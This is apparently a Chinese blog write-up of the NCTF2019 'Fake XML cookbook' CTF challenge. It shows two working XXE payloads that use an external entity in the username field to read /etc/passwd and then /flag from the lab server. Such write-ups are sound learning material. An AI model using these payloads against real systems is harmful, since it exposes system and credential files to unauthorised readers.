[NCTF2019]Fake XML cookbook

原创于 2022-03-25 11:54:56 发布 · 181 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #安全 #网络安全

CTF 专栏收录该内容

19 篇文章

订阅专栏

本文介绍了一种利用XML外部实体(XXE)漏洞的方法来读取服务器上的敏感文件，如/etc/passwd和flag文件。通过构造特定的XML文档，攻击者可以绕过安全限制获取未授权的数据。

在这里插入图片描述
根据题目名字知道是XXE漏洞，直接burp抓包看一下，发现有XML实体

尝试读取下文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>admin</password></user>

在这里插入图片描述
一般flag都在根目录下，修改下payload读取flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>admin</password></user>